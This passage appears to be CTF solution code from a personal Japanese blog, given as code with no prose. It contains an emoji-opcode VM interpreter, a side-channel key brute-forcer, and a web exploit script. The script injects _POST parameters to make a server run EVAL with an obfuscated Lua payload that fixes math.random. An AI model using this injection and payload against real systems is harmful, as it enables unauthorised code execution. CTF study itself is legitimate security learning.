st98 の日記帳

# coding: utf-8
import sys

DEBUG = True

DIGITS = '\U0001f600\U0001f601\U0001f602\U0001f923\U0001f61c\U0001f604\U0001f605\U0001f606\U0001f609\U0001f60a\U0001f60d'
def read_int(program):
  return DIGITS.index(program.read(1))

def run(program, stack, memory):
  while True:
    c = program.read(1)
    if c == '':
      break

    if c == '\U0001f233': # 0x1,NOP
      pass
    elif c == '\U00002795': # 0x2,ADD
      stack.append(stack.pop() + stack.pop())
    elif c == '\U00002796': # 0x3,SUB
      stack.append(stack.pop() - stack.pop())
    elif c == '\U0000274c': # 0x4,MUL
      stack.append(stack.pop() * stack.pop())
    elif c == '\U00002753': # 0x5,MOD
      stack.append(stack.pop() % stack.pop())
    elif c == '\U0000274e': # 0x6,XOR
      stack.append(stack.pop() ^ stack.pop())
    elif c == '\U0001f46b': # 0x7,AND
      stack.append(stack.pop() & stack.pop())
    elif c == '\U0001f480': # 0x8,NEQ
      a, b = stack.pop(), stack.pop()
      stack.append(a != b)
    elif c == '\U0001f4af': # 0x9,EQ
      a, b = stack.pop(), stack.pop()
      if DEBUG:
        print('{:04x}: EQ {}, {}'.format(program.tell(), a, b))
      stack.append(a == b)
    elif c == '\U0001f680': # 0xa,GOTO
      program.seek(stack.pop())
    elif c == '\U0001f236': # 0xb,IF_TRUE_THEN_JUMP <op_pos> <cond>
      addr, cond = stack.pop(), stack.pop()
      if cond:
        program.seek(addr)
    elif c == '\U0001f21a': # 0xc,IF_FALSE_THEN_JUMP <op_pos> <cond>
      addr, cond = stack.pop(), stack.pop()
      if not cond:
        program.seek(addr)
    elif c == '\U000023ec': # 0xd,PUSH
      stack.append(read_int(program))
    elif c == '\U0001f51d': # 0xe,POP
      acc = stack.pop()
    elif c == '\U0001f4e4': # 0xf,LOAD
      addr, index = stack.pop(), stack.pop()
      stack.append(memory[addr][index])
    elif c == '\U0001f4e5': # 0x10,STORE
      addr, index, value = stack.pop(), stack.pop(), stack.pop()
      memory[addr][index] = value
    elif c == '\U0001f195': # 0x11,NEW
      memory.append([0] * stack.pop())
      stack.append(len(memory) - 1)
    elif c == '\U0001f193': # 0x12,FREE
      memory[stack.pop()] = None
    elif c == '\U0001f4c4': # 0x13,READ
      inp = input('').strip().encode() + b'\0'
      memory[stack.pop()] = inp
    elif c == '\U0001f4dd': # 0x14,WRITE
      s = bytes(memory[stack.pop()])
      sys.stdout.write(s[:s.index(b'\0')].decode('utf-8'))
    elif c == '\U0001f521': # 0x15,TO_STR
      # TODO
      pass
    elif c == '\U0001f522': # 0x16,TO_INT
      # TODO
      pass
    elif c == '\U0001f6d1': # 0x17,EXIT
      return

if __name__ == '__main__':
  import io

  if len(sys.argv) < 2:
    print('[usage] python {} <program>'.format(sys.argv[0]))
    sys.exit(1)

  with open(sys.argv[1], 'rb') as f:
    program = f.read().decode('utf-8')

  run(io.StringIO(program), [], [])

# coding: utf-8
import re
import sys

DIGITS = '\U0001f600\U0001f601\U0001f602\U0001f923\U0001f61c\U0001f604\U0001f605\U0001f606\U0001f609\U0001f60a\U0001f60d'
def read_int(program):
  return DIGITS.index(program.read(1))

def run(program, stack, memory, inp):
  res = 0

  while True:
    c = program.read(1)
    if c == '':
      break

    if c == '\U0001f233': # 0x1,NOP
      pass
    elif c == '\U00002795': # 0x2,ADD
      stack.append(stack.pop() + stack.pop())
    elif c == '\U00002796': # 0x3,SUB
      stack.append(stack.pop() - stack.pop())
    elif c == '\U0000274c': # 0x4,MUL
      stack.append(stack.pop() * stack.pop())
    elif c == '\U00002753': # 0x5,MOD
      stack.append(stack.pop() % stack.pop())
    elif c == '\U0000274e': # 0x6,XOR
      stack.append(stack.pop() ^ stack.pop())
    elif c == '\U0001f46b': # 0x7,AND
      stack.append(stack.pop() & stack.pop())
    elif c == '\U0001f480': # 0x8,NEQ
      a, b = stack.pop(), stack.pop()
      stack.append(a != b)
    elif c == '\U0001f4af': # 0x9,EQ
      a, b = stack.pop(), stack.pop()
      if a == b:
        res += 1
      stack.append(a == b)
    elif c == '\U0001f680': # 0xa,GOTO
      program.seek(stack.pop())
    elif c == '\U0001f236': # 0xb,IF_TRUE_THEN_JUMP <op_pos> <cond>
      addr, cond = stack.pop(), stack.pop()
      if cond:
        program.seek(addr)
    elif c == '\U0001f21a': # 0xc,IF_FALSE_THEN_JUMP <op_pos> <cond>
      addr, cond = stack.pop(), stack.pop()
      if not cond:
        program.seek(addr)
    elif c == '\U000023ec': # 0xd,PUSH
      stack.append(read_int(program))
    elif c == '\U0001f51d': # 0xe,POP
      acc = stack.pop()
    elif c == '\U0001f4e4': # 0xf,LOAD
      addr, index = stack.pop(), stack.pop()
      stack.append(memory[addr][index])
    elif c == '\U0001f4e5': # 0x10,STORE
      addr, index, value = stack.pop(), stack.pop(), stack.pop()
      memory[addr][index] = value
    elif c == '\U0001f195': # 0x11,NEW
      memory.append([0] * stack.pop())
      stack.append(len(memory) - 1)
    elif c == '\U0001f193': # 0x12,FREE
      memory[stack.pop()] = None
    elif c == '\U0001f4c4': # 0x13,READ
      memory[stack.pop()] = inp.strip().encode() + b'\0'
    elif c == '\U0001f4dd': # 0x14,WRITE
      stack.pop()
    elif c == '\U0001f6d1': # 0x17,EXIT
      break

  return res

def hyphenize(s, x):
  t = (secret + c).ljust(x, 'A')
  return '-'.join(re.findall(r'.{4}', t))

if __name__ == '__main__':
  import io
  import string

  if len(sys.argv) < 2:
    print('[usage] python {} <program>'.format(sys.argv[0]))
    sys.exit(1)

  with open(sys.argv[1], 'rb') as f:
    program = f.read().decode('utf-8')
  
  secret = ''
  for _ in range(20):
    p = run(io.StringIO(program), [], [], 'AAAA-AAAA-AAAA-AAAA-AAAA'), 'A'

    for c in string.printable.strip():
      t = hyphenize((secret + c), 20)
      r = run(io.StringIO(program), [], [], t)
      if r > p[0]:
        p = r, c

    secret += p[1]
    print(hyphenize(secret, 20))

import requests
import urllib.parse
URL = '(省略)'
TOKEN = '(省略)'

def go(args):
  url = URL + '&'.join(k + '=' + urllib.parse.quote(v) for k, v in args.items())
  print(url)
  r = requests.get(url)
  print(r.content.decode())

payload = 'function math.random() return 123 end'
payload = 'loadstring(tostring(1):char({}):sub(2))()'.format(','.join(str(ord(c)) for c in payload))

go({
  'token': TOKEN,
  'guess': '123',
  '_POST[MY_SET_COMMAND]': 'EVAL',
  '_POST[TEST_KEY]': payload,
  '_POST[TEST_VALUE]': '0'
})
go({
  'token': TOKEN,
  'guess': '123'
})